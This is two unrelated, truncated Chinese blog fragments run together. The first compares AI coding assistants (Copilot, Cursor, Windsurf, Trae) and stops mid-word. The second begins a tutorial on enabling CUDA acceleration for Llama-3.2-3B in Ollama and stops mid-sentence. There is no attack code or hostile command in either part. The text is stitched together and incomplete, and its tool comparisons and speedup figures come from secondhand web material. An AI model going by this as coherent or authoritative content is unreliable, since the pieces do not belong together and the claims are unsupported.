我最开始用Copilot(主要是结合IDE开发时进行代码补全,生成单元测试用例),但是后面又接触了Cursor,发现Cursor比Copilot更加实用,Cursor生成的单元测试用例更加全面。         多以网上查了查资料,这里记录分享一下。         这篇文章资料来自于网络,是对部分知识整理,这里只是记录一下,仅供参考 前言         随着AI技术的爆发式发展,AI编程工具正在重塑软件开发流程。GitHub Copilot作为先驱者长期占据市场主导地位,但新一代工具如Cursor、Windsurf和Trae正以颠覆性创新发起挑战。本文基于多维度实测数据,深度解析三款工具的核心竞争力,揭示AI编程工具的格局演变趋势。 工具定位与核心技术 1. Cursor:智能化的全能助手         基于VS Code生态深度改造,Cursor融合GPT-4和Claude 3.5模型,支持自然语言转代码生成、跨文件智能补全和自动文档生成。其核心优势在于: * 上下文感知能力:可同时分析10+个关联文件的语义逻辑 * Agent模

Llama-3.2-3B步骤详解:Ollama部署后启用GPU加速(CUDA/cuDNN)全流程

Llama-3.2-3B步骤详解:Ollama部署后启用GPU加速(CUDA/cuDNN)全流程 1. 为什么需要GPU加速?——从“能跑”到“跑得快”的关键跃迁 你可能已经用Ollama成功拉起了Llama-3.2-3B,输入几句话就能看到回复,一切看似顺利。但当你连续提问、生成稍长文本,或者尝试多轮对话时,会明显感觉到响应变慢——几秒甚至十几秒的等待,让原本流畅的交互体验打了折扣。 这不是模型能力的问题,而是默认情况下Ollama在CPU上运行。Llama-3.2-3B虽是3B参数量的轻量级模型,但其Transformer结构天然适合并行计算。一块中端消费级显卡(比如RTX 3060或更高),在GPU模式下推理速度可比CPU快3~5倍,显存占用更合理,还能释放出CPU资源去做其他事。 更重要的是,Ollama官方明确支持CUDA加速,且无需手动编译模型或修改源码。整个过程不涉及复杂配置文件编辑,也不要求你成为CUDA专家——只要你的机器有NVIDIA显卡、驱动正常、CUDA环境基础就绪,就能完成切换。本文将带你从零开始,一步步验证环境、启用加速、实测对比,并解决你最可能卡